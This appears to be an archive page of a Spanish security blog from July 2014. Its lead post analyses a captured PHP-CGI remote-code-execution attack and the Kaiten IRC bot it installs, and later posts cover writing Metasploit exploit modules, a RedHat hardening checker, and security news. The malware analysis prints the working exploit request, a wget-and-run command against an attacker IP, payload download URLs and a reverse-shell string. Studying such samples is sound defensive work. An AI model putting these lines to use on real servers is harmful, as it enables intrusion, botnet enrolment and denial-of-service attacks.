30 julio 2014

¿Qué Linux no tiene malware? Marchando un ejemplo!




Entre los debates más manidos en los círculos de seguridad informática y administración de sistemas, junto a qué es el hacking, qué lenguaje es mejor para scripting, el responsible versus el full disclosure, nos encontramos con uno de los que podría ser trending topic: ¿Qué Sistema Operativo es mejor? Argumentos como la compatibilidad o la cantidad de software y drivers existentes, hacen que Windows se lleve la palma. Por contra la usabilidad, el cuidado diseño y el hardware utilizado nos invitan a quedarnos con Mac OS X. Sin embargo, los defensores de la estabilidad y la seguridad nos hacen decantarnos por Linux sin duda alguna. En este rifi rafe, claramente Windows es el que mayor catálogo de piezas de malware tiene, seguido de lejos por Linux y Mac. Pese a ser basados estos últimos en UNIX, cierto es que en Linux, al ser menos hermético que Mac, nos permite configurar mucho mejor la seguridad y entender qué está haciendo el sistema operativo en cada momento. 

Sin embargo, y pese a que es cierto que el porcentaje de malware y de vulnerabilidades no es tan popular en los entornos del pingüino, el que esté libre de malware que tire la primera piedra.

Revisar los logs producidos por diferentes sistemas de seguridad perimetral es una de las tareas que todo entusiasta o integrante de un departamento de seguridad tiene que hacer de forma permanente. Ya no sólo por asegurar que todo está correcto, sino también por aprender de los ataques recibidos y dormir tranquilo sabiendo que todo ha sido bloqueado, o montar un gabinete de crisis para gestionar un incidente de seguridad.

En este caso, revisando los logs producidos por una sonda Snort, encargada de analizar el tráfico recibido por un servidor web (que como podréis imaginar, es de los servicios que más peticiones y más aberraciones recibe) me encontré con múltiples ocurrencias de un evento de tipo RFI (Remote File Inclusion): "SERVER-WEBAPP PHP-CGI remote file include attempt"





La parte interesante y complicada de ver a simple vista es el payload: POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

Como se puede ver, la petición viene “ofuscada” mediante URL Encoding, a fin de evadir precisamente a algunos IDS (e incluso WAFs). Realmente, el contenido de la URL en la petición POST es: POST /cgi-bin/php-cgi?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D""+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n 

Es decir, configura de forma débil ciertos parámetros de PHP para ejecutar lo que viene en el POST DATA:




<?php system("wget http://219.122.43.173/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");

Aha, o sea que lo que ejecuta, en el lado servidor es un: “Descarga el fichero sh que está en 219.122.43.173 (en Japón)  y déjalo en /tmp/sh, ejecútalo y bórralo sin dejar rastro”….

¿Qué tiene dentro el fichero sh? La curiosidad mató al gato, así que lo mejor para salir de dudas, es descargarlo y verlo:




Básicamente: Descárgate dentro del directorio /dev/shm (localización utilizada en Linux para memoria compartida, con formato tmpfs, es decir, donde a nadie se le ocurriría mirar) el fichero xx desde un servidor que está en Vietnam, hazlo "invisible" haciendo que empiece por '.' y ejecútalo. Descarga otro fichero llamado ru y otro llamado rr, y ejecuta ambos y bórralos de ahí. A partir de ahí mata un montón de procesos que están en memoria, y añade al cron la tarea de hacer esto semanalmente (por si alguien lo descubre y lo borra, así mantenemos la persistencia)  

Si analizamos uno a uno los tres binarios xx, ru y rr, se puede ver lo siguiente.

Si le hacemos un strings a “xx”, podemos ver varios indicios que dejan clara la funcionalidad del binario: un bot de IRC que permite hacer Denegación de Servicio a un host determinado backdoorizando la máquina en la que se ejecuta.





Si buscamos la cadena mágica "Kaiten wa Goraku” que aparece en el subset de strings mencionado arriba, nos lleva directos al código fuente del Backdoor Kaiten 

El fichero ru, es un fichero BASH que se descarga un fichero u otro dependiendo de la arquitectura del sistema 86.tgz o 64.tgz almacenados en un servidor que está en Hungría, descomprime el contenido y lo ejecuta:




Llegado a este punto, descargué 64.tgz y lo descomprimí. En concreto aparecieron tres ficheros: run, php y pnscan.

run es un script en BASH que contiene lo siguiente:



Es decir, genera un número aleatorio, y lanza el binario pnscan con parámetros que escanea rangos de red aleatorios.


De hecho, está claro que pnscan es un scanner de puertos, ya no sólo porque lo indique el nombre, sino que lo podemos comprobar en un strings del mismo

Usage: %s [] [{| } | ]
This program implements a multithreaded TCP port scanner.
More information may be found at:
        http://www.lysator.liu.se/~pen/pnscan
Command line options:
        -h             Display this information.
        -V             Print version.
        -d             Print debugging info.
        -s             Lookup and print hostnames.
        -i             Ignore case when scanning responses.
        -S             Enable shutdown mode.
        -l             Line oriented output.
        -w     Request string to send.
        -W   Hex coded request string to send.
        -r     Response string to look for.
        -R   Hex coded response string to look for.
        -L     Max bytes to print.
        -t      Connect/Write/Read timeout.
        -n    Concurrent worker threads limit.
%s: Invalid length specification: %s
%s: Invalid timeout specification: %s
%s: Invalid workers specification: %s
%s: unknown command line switch: -%c
%s: Failed search string setup: %s
%s: Missing or extra argument(s). Use '-h' for help.

%s: Invalid IP address range: %s

Y el fichero php descargado ¿para qué vale? Pues fundamentalmente, dentro de pnscan, se encuentra la resolución de esa incógnita:

./php --target %s --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80

Es decir, cuando pnscan encuentra un servidor vulnerable, llama a php, que en su interior lleva el veneno que hace la petición:

POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close

Llama la atención también el valor de la variable $shell, de manera que cada vez que llama a Bash, deshabilite el registro de comandos ejecutados en el fichero .bash_history, así como el número de comandos ejecutados que se guardan en memoria, mira info del kernel y la arquitectura, qué usuarios tienen una sesión abierta en el sistema, y el id del usuario que está ejecutando la shell. Después de esto, dame una shell interactiva


$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';


Por tanto, podemos decir, que Kaiten, sigue el patrón de funcionamiento de cualquier malware:

1.-) Compromete el sistema, en este caso backdooriza la máquina Linux (para la que no hay malware, claro está ;D), borra sus huellas y trazas (incluso elimina el fichero /var/log/messages y modifica parámetros de syslog para que no registre eventos)
2.-) Busca forma de mantener persistencia al arranque o borrado, insertando una tarea programada en el cron del sistema,
3.-) Intenta propagarse a sí misma con un comportamiento de gusano, buscando servidores vulnerables a través de internet.

Para todo este proceso, utiliza diferentes servidores desplegados por Asia fundamentalmente (al menos la muestra que yo he analizado aquí): Japón, Vietnam, Korea,… e incluso Hungría para descargar los ficheros 86.tgz y 64.tgz. Googleando, dí con un par de versiones que tiran de otros dominios como http://member.pure-hearts.info/plugins/access.ssh/64.tgz y http://member.pure-hearts.info/plugins/access.ssh/86.tgz, claramente web vulneradas en las que los atancantes utilizan como repositorios de descarga de estos ficheros para otras muestras que estén escaneando internet, y de las que son eliminados los ficheros con una frecuencia mayor.

Y todo este tinglado, con una simple petición desde vaya usted a saber qué parte del mundo, hace que tu inocente servidor web, por estar mal configurado y securizado, pueda llegar a tener vida propia.
Leer más...

29 julio 2014

Módulo de Metasploit para aprovechar un FileUpload

Voy a continuar relatando mis aventuras por el mundo Metasploit del cual tengo que decir que está resultando ser más amigable en su desarrollo de lo que me había parecido en un principio.

En el artículo anterior vimos como crear un exploit local aprovechando un Buffer Overflow, así que en esta ocasión nos vamos a centrar en la explotación remota con un ejemplo de file upload en una aplicación Web, viendo de este modo un caso similar al de la vulnerabilidad detectada en el plugin Mailpoet para Wordpress que ha dejado expuestos a un buen número de servidores.

Preparando el entorno

Para el ejemplo he utilizado como entorno de pruebas la ISO Web for pentesters, este live CD nos creará un servidor Web dejándonos bastante margen para jugar con distintas vulnerabilidades:



Explotando la vulnerabilidad

Si accedemos al primer ejemplo de File Upload veremos un formulario de subida de ficheros que no nos presentará ningún reto a la hora de abusar de él.



No aplicará ningún tipo de control sobre el fichero subido a la Web y nos permitirá subir cualquier código PHP que se nos antoje:


Identificada la vulnerabilidad, lo siguiente que nos interesa es identificar los campos del formulario para construir el exploit:



Escribiendo el exploit

Vamos a verlo en detalle, os dejo su enlace a Pastebin 

Definición



A destacar de esta parte:
  • Especificamos que nuestro exploit es de tipo remoto
  • Incluimos la librería HttpClient para utilizar sus funciones durante la explotación
  • Definimos a través de la plataforma y arquitectura que vamos a construir un exploit para PHP
  • Registramos como opciones adicionales el path al formulario de subida y el nombre del fichero que se creará en el servidor, de este modo tenemos un exploit más genérico que podremos utilizar en otros escenarios

Función check

Crear la siguiente función nos permitirá utilizar el comando check desde la consola de MSF:



En este enlace tenéis los distintos valores que podemos devolver en esta función.

Función upload

Para dejar más claro el código he creado una función específica encargada de hacer la subida del fichero:



Si nos fijamos, aquí es donde ha entrado en juego los datos que recogimos del formulario:
  1. Creamos una variable data que contendrá el mensaje multiparte
  2. Incluimos el payload seleccionado por el usuario codificado en el campo image del formulario
  3. Añadimos el campo send del formulario
  4. Enviamos la petición utilizando la función send_request_cgi de la librería HttpClient que importamos al inicio
  5. Devolvemos la respuesta de la petición


Función exploit

Y finalmente la función exploit, que será llamada cuando ejecutemos el comando run o exploit desde la consola de MSF:


Desde esta función invocamos a upload para hacer la carga del fichero y comprobar que todo ha ido correctamente.

Un detalle a destacar de esta parte del código es la invocación a send_request_raw, su objetivo es ejecutar automáticamente el payload que acabamos de subir.


Ejecución del exploit


Cargamos y configuramos el exploit:


Comprobamos que el objetivo sea vulnerable:


Ejecutamos el exploit:


Y llegados a este punto ya podemos curiosear con más tranquilidad por el entorno:




Artículo cortesía de Miguel Ángel García
Leer más...

28 julio 2014

Auditando la seguridad de un servidor RedHat y sus derivados

Luego de unos cuantos años, por requerimientos de mi trabajo, tuve que retomar un viejo proyecto "checklistlinux", el cual tiene como objetivo verificar el hardening de un servidor RedHat o alguno de sus derivados comparando su configuración con mejores prácticas de seguridad.



Cabe aclarar que debía cumplir con ciertas pautas ya establecidas. Por este motivo no utilice "lynis" para la tarea. 

El proyecto está desarrollado en PERL y cuenta con 41 scripts que pertenecen a las fases que son ejecutadas durante el análisis. 

Las fases se dividen de la siguiente forma:
  • Fase 0.0 -- Información del Equipo
  • Fase 1.0 -- Información de los usuarios del sistema
  • Fase 1.1 -- Comprobación de Usuarios/Grupos
  • Fase 1.2 -- Verificar que no existan cuentas con password vacías
  • Fase 1.3 -- Verificar que no existan usuarios con ID 0
  • Fase 1.4 -- Verificación del archivo login.defs
  • Fase 1.5 -- Últimos usuarios agregados
  • Fase 1.6 -- Configuración PAM
  • Fase 1.7 -- Últimos usuarios conectados
  • Fase 1.8 -- Últimos comandos ejecutados por los usuarios
  • Fase 1.9 -- Relaciones de confianza
  • Fase 1.10 -- Usuarios con acceso al sistema
  • Fase 1.11 -- Verificar que no existan usuarios con Grupo ID 0
  • Fase 2.0 -- Eventos mediante Syslog - AUTHPRIV
  • Fase 2.1 -- Eventos mediante Rsyslog - AUTHPRIV
  • Fase 3.0 -- Verificar permisos en archivos y directorios
  • Fase 3.1 -- Verificación de Sticky Bit
  • Fase 3.2 -- Verificación de archivos con permisos de escritura para todos los usuarios
  • Fase 3.3 -- Verificación de suid/gsid
  • Fase 3.4 -- Verificación  de archivos sin usuario asignado y grupo
  • Fase 4.0 -- Archivo de autenticación ftp
  • Fase 5.0 -- Cierre de conexión automático
  • Fase 6.0 -- Banner personalizado
  • Fase 7.0 -- Verificación de la configuración del servicio ssh
  • Fase 8.0 -- Verificación  de SeLinux
  • Fase 9.0 -- Verificación  de IPTABLES
  • Fase 10.0 -- Verificación  de Servicios
  • Fase 11.0 -- Verificación  de Procesos
  • Fase 12.0 -- Verificación  de Conexiones
  • Fase 13.0 -- Verificación  de Hash de binarios
  • Fase 14.0 -- Configuración de Sudoers
  • Fase 15.0 -- Cron.Daily
  • Fase 16.0 -- Versiones de softwares
  • Fase 17.0 -- Configuración de Red
  • Fase 17.1 -- Verificación de rutas
  • Fase 17.2 -- Verificación configuración sysctl
  • Fase 18.0 -- Verificar el nivel de inittab
  • Fase 18.1 -- Verificar que no este activo ctrlaltdel en inittab
  • Fase 19.0 -- Verificar configuración samba
  • Fase 20.0 -- Verificar sincronización NTP
Comenzamos a describir el procedimiento de uso:
  1. Descargamos la herramienta: https://github.com/marcositu/redhatchecklist
  2. Luego debemos descomprimir el archivo "master.zip"
  3. Personalizamos algunos parámetros buscados.
    • Modificar la línea "20" del archivo /libs/fase6.pl donde se encuentra la variable "$bannerpersona" con el valor "Cable" por algún string que se encuentra en el banner personalizado de su Compañía. 
    • Modificar la línea "29" del archivo /libs/fase7.pl donde se encuentra la variable "ListenAddress" con el valor '10.246' por las direcciones IP que deben estar configuradas. 
  4. Luego, debemos copiar el archivo redhatchecklist.pl y el directorio /libs/ al servidor que será analizado.
  5. Una vez que tenemos los archivos en nuestro servidor, ejecutamos la herramienta para comenzar con el análisis.
    [root@miserver]# perl redhatchecklist.pl
  6. El último paso es copiar a nuestra computadora los 2 reportes HTML que nos generó la herramienta en la misma carpeta que tenemos los siguientes archivos y directorios:
  • /src/
  • /vendor/
  • demo.css
  • sprite.png
A continuación, les dejamos algunas capturas de pantalla de un análisis ejecutado:

Informe:

Descripción de un hallazgo:

Recomendación:

Si alguna persona quiere ayudarme a optimizar/organizar o reprogramar el "código" es bienvenida, como verán voluntad no me falto pero el código no es el mejor logrado.

Artículo cortesía de marcositu
    Leer más...

    27 julio 2014

    Enlaces de la SECmana - 234




    Leer más...

    25 julio 2014

    De 0 a profesional de la seguridad en 2 meses

    Es algo sistémico: siempre llegan al buzón de correo muchas preguntas relacionadas a cómo empezar en el mundo de la seguridad para dar el paso a la parte profesional.

    En muchas ocasiones son estudiantes, gente que está cursando ingenierías tecnológicas, y también hay un nutrido grupo de personas que trabajan en informática (desarrollo / sys admin) que les apetece iniciarse en este apasionante mundo, con la esperanza de convertirlo en su profesión.

    Sin duda hay mucha información en internet, muchos blogs, tutoriales, recursos, cursos y libros. Cada uno puede iniciarse como más se ajuste a su forma de mejorar sus 'skills', pero a mi particularmente me gusta seguir un método basado en libros. Creo que es el pilar sobre el que debería sustentarse toda formación. Un libro siempre va a estar ahí, es 'consultable' y se puede leer en modo diagonal (para luego incidir en temas específicos) o leerlo letra-por-letra.

    Dado que Chema, a través de la editorial 0xWord, ofrece un montón de interesantes packs de libros, me voy a tirar al ruedo y voy a crear mi propio pack llamado: De 0 a profesional de la seguridad en 2 meses

    Ahora que es verano y que a la gente le suele sobrar tiempo, es el momento ideal de aprovechar estos calurosos meses para dar un giro al expediente profesional. Asumiendo el criterio de 1 libro x 1 semana. 8 libros = 8 semanas = 2 meses

    Los libros que he seleccionado son bajo criterio personal, los habrá mejores, los habrá distintos, incluso el orden puede variar según gustos, pero, esta es mi elección:

    La base: Mucha gente cae una y otra vez en el error de empezar por libros de hacking e intentar dar el 'super salto' de la nada a un libro que hable de SQLI o exploiting. En mi humilde opinión es un fallo, aquí aplica el famoso 'dal cela pulil cela', antes de llegar a lo divertido, conviene tener una formación de base sobre seguridad en sistemas operativos lo más extensa posible. Antes de romper: saber como está fortificado.


    Para mi, el mejor libro sobre seguridad en Windows, todos los resortes, mecanismos y el conocimiento necesario sobre cómo funciona un sistema Windows

    Una vez estés harto de claves de registro, políticas de seguridad y ventanas, tu siguiente paso es cambiar todo eso por la línea de comandos, una shell y dominar al indómito Linux


    ¿Te han gustado los sistemas operativos? Todavía te falta un paso más antes de saltar al pentesting: Las redes. Es asombroso la cantidad de personas que llegan a adquirir un nivel muy respetable en pentesting que luego flaquean mucho en temas de red. Por eso, es importante entender cómo funciona IPV4 y el que se presupone será su descendiente IPV6


    Momento de empezar a sacar partido a los conocimientos que has adquirido y empezar a conocer herramientas para saber encontrar vulnerabilidades y explotarlas. Relájate, no es necesario que este libro lo termines en una semana, puedes dedicarle un poco más de tiempo. Lo merece


    El libro con el que, sin duda, más te vas a divertir. ¿El motivo? básicamente que hoy día hay miles y miles de sitios con este tipo de vulnerabilidades, apuesta a que en tu futura actividad profesional vas a rellenar mil informes con este tipo de vulnerabilidades.


    Una vez hayas terminado este libro, sentirás que se te han desbloqueado un montón de conocimientos que, hasta ese momento, pensabas que estaban reservados a un selecto grupo de personas. Ojo ! este libro requiere poner los 5 sentidos.


    En este punto deberías tener un conocimiento técnico muy elevado, conoces y dominas la forma en la que un sistema puede ser vulnerable, tanto a nivel Web como a nivel interno. Has usado un buen número de herramientas, pero ... como dice el anuncio: la potencia sin control no sirve de NADA. Y esto es 100% cierto en el mundo profesional. De nada vale tener un ninja si luego no es capaz de tener método y saber ser ordenado mentalmente para rematar un buen trabajo. Este libro te aportará orden mental y formas de presentar tu trabajo con estilo profesional.


    Por último, pero no por ello menos importante, creo que es de alta relevancia que un buen profesional de la seguridad adquiera conocimientos de informática forense. Es una disciplina muy 'CSI', en la que se puede desarrollar un alto grado de creatividad.
    Leer más...

    23 julio 2014

    'Casi todo' lo que necesitas saber sobre seguridad en Mainframes

    Hoy venimos a introducir brevemente, gracias a un portal más que recomendado, la seguridad en el mundo Mainframe. Ese gran desconocido por muchos, que impone un respeto tremendo por ser una tecnología poco accesible por la inmensa mayoría, y en la que pronto veremos como poder comenzar a jugar y trastear con ella. Como descripción muy preliminar, los sistemas Mainframes son utilizados para el procesamiento crítico de información en procesos muy complejos (estadística, censos, transacciones...), actualmente involucrados en sistemas y aplicaciones clave. Se suelen utilizar en bancos, administración pública, comercios, etc.

    Cabecera del portal de Philip Young, Soldier of Fortran

    Por el momento, os presentamos el tumblr del denominado Soldier of Fortran (o lo que es lo mismo, Philip Young), el cual tras dar diversas charlas en un buen conjunto de congresos de seguridad de todo el mundo (BlackHat, BSides, ShmooCon, SEC-T...), nos mantiene al día tanto con enlaces a documentos de seguridad, evidencias de lo conectados y accesibles que están estos sistemas a Internet, herramientas, y en definitiva, todo lo que se necesita saber si durante cualquier proceso de test de intrusión, nos topamos con un terminal tan oldschool lleno de letras verdes/blancas pidiéndonos introducir un logon tras darnos una gran bienvenida con un ASCII.

    Como os comento, y si todo va bien, poco a poco iremos presentando diferentes posts relacionados con la seguridad en Mainframes, desde la preparación de entornos de pruebas (porque probar temas en sistemas de producción reales puede llevar a alguien a muchos quebraderos de cabeza...) hasta la ejecución de herramientas que nos permitirán introducirnos en estos sistemas.

    Os recomendamos pasar por las páginas del tumblr de este soldado, así como por su github, ya que actualmente intenta mantener una base de datos con evidencias de sistemas Mainframe accesibles a través de internet. A esta iniciativa la ha llamado Internet Mainframes Project, y la verdad es que asusta el comprobar en algunas ocasiones para que entidades se destinan estos sistemas conectados...

    Un Mainframe conectado a internet, perteneciente al estado de Nuevo México

    Un Mainframe conectado a internet, perteneciente al sistema de Ferrocarril Mexicano
    Además, a continuación os incluimos enlaces a los videos de algunas de las charlas presentadas por Philip Young en BlackHat y BSides, así como SchmooCon, para que podáis ir abriendo boca sobre este tema. Personalmente opino que es un tema más que curioso y diferente a lo que estamos acostumbrados normalmente. El inconveniente es que cada vez van quedando menos en los parques tecnológicos de las compañías, sobretodo en España...pero para los amantes de lo vintage, como se dice ahora, todo es válido:





    Leer más...

    21 julio 2014

    Documental: Internet Submarino

    Deja de hacer zapping por los canales de la televisión pública. Acabas de terminar de comer y te apetece descansar un rato. Es el momento. Aprovecha tu sistema multimedia, ese que soporta youtube y "sintoniza" algo mucho más interesante.

    Hoy, imitando la magnífica sección de "Er docu del finde" de Cyberhades, os traemos un documental sobre los cables submarinos. Seguro que, como a mí, a muchos de vosotros os apasionará conocer más sobre cómo se conectan los continentes atravesando océanos.

    El documental está dividido en cuatro partes. Incrusto aquí todas ellas.














    Leer más...

    20 julio 2014

    Enlaces de la SECmana - 233




    Leer más...

    19 julio 2014

    Hackeada la base de datos de usuarios del portal CNET


    Un grupo de hackers llamado 'w0rm', al parecer de origen ruso, comprometió la base de datos de usuarios del portal de noticias sobre tecnología CNET. Curiosamente, dicha base de datos supuestamente contenía información sobre más de un millón de usuarios, pero el grupo ha decidido ni publicar el volcado ni proceder a al crackeo de contraseñas, ni siquiera a su venta. Inicialmente anunciaron que comenzarían una puja por valor de 1 bitcoin (alrededor de 600 dólares), pero todo se quedó en estrategia de marketing para que la noticia tuviese más relevancia en los medios.

    Sobre temas técnicos del ataque, según un componente del grupo se comprometió el framework Symfony (PHP) para finalmente hacerse con el control del servidor subiendo un código PHP que les permitiría desde el propio navegador acceder a ficheros y obtener información sobre el sistema, como podemos ver en una imagen que distribuyeron en su propia cuenta de twitter.

    Evidencia del compromiso del servidor de cnet.com
    Curiosamente, a través de dicha cuenta, podemos comprobar como quién se esconde tras ella también lleva un "negocio" de venta de exploits para diferentes tecnologías. En el listado de 0days, se puede encontrar un supuesto RCE (Remote Code Execution - Ejecución de código remota) para Symfony:

    Mercadeo de exploits propiedad de w0rm

    Esto me hace pensar (opinión personal hasta que se me demuestre lo contrario) que quizás no haya dichas vulnerabilidades como tal, y w0rm utiliza sus compromisos de servicios para, a su vez, publicitar que se han llevado a cabo gracias a 0days de los que dispone. Puede haberlo comprometido, se puede ver en las evidencias, pero quizás aprovechando otra vulnerabilidad...

    En la actualidad se conocen pocas vulnerabilidades relacionadas con este framework PHP, tal y como podemos ver en este enlace de cvedetails, y de ejecución de código únicamente las correspondientes con los códigos CVE-2013-1348CVE-2013-1397, del junio del año pasado pero con información actualizada a mediados de este...

    El exploit de Symfony según la imagen asciende a 30.000$... ¿os fiaríais?
    Leer más...

    17 julio 2014

    search2audit.py: Deja que BING haga el trabajo sucio

    En el mundo de las auditorías son siempre los pequeños detalles los que te separan de un trabajo bien hecho (y con resultados) de otro mas bien mediocre.

    No importa el número de horas ni tampoco las herramientas que se usen, al final son los trucos los que te pueden hacer llegar un paso más o quedarte en el camino.

    Sucedió que, en un par de ocasiones en las que estaba un tanto 'atascado' revisando pruebas, tests, pantallas y mas pantallas le pedí ayuda a mi compañero Alejandro Ramos para que me diera su opinión de un site web. Al cabo de 10 minutos me contestaba: Aquí tienes un SQLI 

    Sorpresa ! ni Zaps, ni Burps, ni acunetixs habían encontrado nada y resulta que había un SQLI ¿?

    Los dos SQLIs apuntaban a partes de la web 'obsoletas' de esas que no aparecen en un spidering normal, secciones que siguen ahí porque nadie las ha borrado pero no son, a priori, visibles a simple vista. 

    La magia de los buscadores y el parámetro site: para localizar contenido que no es fácil de encontrar haciendo un simple 'spidering'

    Pensando en cómo poder hacer esto de una forma no manual hice un script que hoy comparto con vosotros llamado search2audit. El script hace uso de BING para lanzar búsquedas site: e insertar lo que va encontrando en tu herramienta de auditoría favorita.

    Lo primero que has de hacer para usar el script es hacerte con una API-KEY de Bing, nada difícil ya que BING da acceso gratuito a 5.000 peticiones x mes 

    Una vez hecho eso, lanzas Burp o Zap y desactivas la intercepción de peticiones. Esto pondrá a la escucha el proxy en localhost 8080

    Y ejecutas el scrip tal que así

    python search2audit.py tu-api-key www.security-projects.com

    Lo que hace el script es ir extrayendo las URLs que le proporciona BING y navegando hacia ellas usando como proxy la herramienta de auditoría

    Esto hará que la ventanita de Burp o Zap se empiece a llenar con los enlaces que ha encontrado vía Bing dejando una buena semilla para luego lanzar el spidering desde la herramienta, obteniendo de esa forma mejores resultados que si simplemente lanzas el spidering tomando como base un dominio.

    El código fuente del script, que es tan solo una versión Beta que hay que pulir y mejorar bastante, es este:



    Leer más...

    15 julio 2014

    Programas web de gestión de contraseñas: SUSPENSO


    Zhiwei Li, Warren He, Devdatta Akhawe y Dawn Song, investigadores de la Universidad de Berkeley (California) han publicado un estudio en el que documentan el análisis de 5 aplicaciones web enfocadas a la gestión de contraseñas centralizadas. Los programas objeto del estudio han sido  los siguientes (seguro que la mayoría os suenan...):
    • LastPass
    • RoboForm
    • My1Login
    • PasswordBox
    • NeedMyPassword
    No es la primera vez que se anuncian problemas en este tipo de aplicaciones web, si bien una de las más relevantes fue la que se publicó en Mayo de 2011, cuando nos enteramos a través del blog principal de LastPass de una intrusión de seguridad en su infraestructura, de la cual nos hicimos eco en nuestros enlaces de la SECmana - 70.

    Pero en este caso el estudio se ha centrado en la revisión de vulnerabilidades web como son Cross-Site Request Forgery y Cross-Site Scriptings en todas ellas. Además, para cada una de las aplicaciones, se plantean los siguientes vectores de ataque: Bookmarklets, amenazas web, problemas de autorización y vulnerabilidades en la interfaz de usuario. También se le ha dedicado una parte de la investigación a la generación de contraseñas de un solo uso (OTPs) para aquellas aplicaciones que dispongan de dicha funcionalidad.



    Listado de aplicaciones web de gestión de contraseñas analizadas


    A modo de spoilers, del estudio se concluye que 4 de los 5 productos contienen vulnerabilidades graves que permitirían robar credenciales de un usuario. Debido a que los investigadores creen que la solución de todas las vulnerabilidades no sería única, ya nos anuncian que se han puesto manos a la obra para generar una nueva solución web la cual se desarrollará teniendo en cuenta la seguridad desde el principio en su ciclo de vida, y por diseño.

    Una interesante y completa lectura (aquí tenéis el PDF) en el que se le da un buen repaso a estas aplicaciones tan de moda en la actualidad, y a la vez tan peligrosas una vez pudieran ser vulneradas.

    Leer más...

    14 julio 2014

    Módulo de Metasploit para PoC Stack Buffer Overflow

    Ha llovido desde el artículo anterior donde vimos de qué manera nos podía afectar la ruta de ejecución de un binario a la hora de identificar la dirección de memoria en la que explotar un código vulnerable a stack based buffer overflow, pero esto sólo era un preámbulo antes de ponernos manos a la obra con la escritura de un módulo para Metasploit que ejecute esa explotación por nosotros, así que dejemos de dar rodeos y empecemos con ello.

    Preparando el entorno

    Para darle vidilla a esta prueba de concepto he creado el siguiente entorno:
    • Un usuario atacante desde el que he iniciado la consola de Metasploit y preparado el exploit java_signed_applet para tomar el control de la máquina del cliente.
    • Un usuario cliente con nombre nodoraiz. Desde este usuario se visitará el enlace que ha preparado el atacante.
    • El usuario cliente dispone de la aplicación con el código vulnerable y que además se ha configurado con setuid simulando un proceso que nos pueda permitir realizar una escalada de privilegios.

    Creando el script en Ruby

    Lo primero que haremos antes de ponernos manos a la obra con el módulo de Metasploit, es crear un exploit que aproveche la vulnerabilidad detectada en nuestra aplicación:



    El resultado de ejecutar el script:


    De exploit a módulo Metasploit

    Para cualquier duda que nos surja agradeceremos el Redmine dedicado a la guía de desarrollo, que aunque se corresponde con versiones previas del framework, sin duda nos servirá de ayuda.

    También podemos ver en la Web de Offensive-security el esqueleto esperado por un módulo de Metasploit, sin embargo en ese mismo enlace veréis como el módulo está orientado a una explotación en remoto (MSF::Exploit::Remote) mientras que en nuestro escenario vamos a tomar el control de la máquina del cliente y realizar una explotación en local (MSF::Exploit::Local), quedándonos un código como el del siguiente enlace a Pastebin. Vamos a verlo más en detalle.

    En la definición de la clase del módulo tenemos lo siguiente:


    Incluimos las librerías iniciales y especificamos que estamos creando un exploit local. Además a través del ranking podemos especificar qué tal responde el exploit respecto a su comportamiento en el sistema sobre el que será ejecutado, los distintos valores los podéis consultar aquí.

    A continuación tenemos en el constructor de la clase la asignación de los atributos que definirán las posibilidades de nuestro exploit:



    En la imagen anterior, además de campos descriptivos del módulo, vemos como se definen otros parámetros más influyentes del exploit:
    • El framework nos propondrá los payloads según el conjunto de valores que definamos en Platform, Arch, SessionTypes y Payload:

    • El campo Target nos permite indicar los posibles objetivos que el usuario podrá seleccionar al configurar el exploit
    • Usaremos la estructura register_options para crear un diccionario de valores que el usuario pueda sobreescribir a través de la consola de MSF y que el exploit utilice durante la ejecución:


    Podéis ver en esta última captura como aparece un campo SESSION que no ha sido definido, esto es porque al tratarse de un módulo de explotación local habrá que definir la sesión establecida a través de Metasploit con un cliente y sobre la cual se quiere ejecutar el exploit.


    Finalmente tenemos el método en el que escribiremos nuestro código para explotar la vulnerabilidad y que será ejecutado sobre la sesión que se le indique a MSF cuando se ejecute el comando "exploit" o "run":



    Vemos dos detalles relevantes en este bloque:
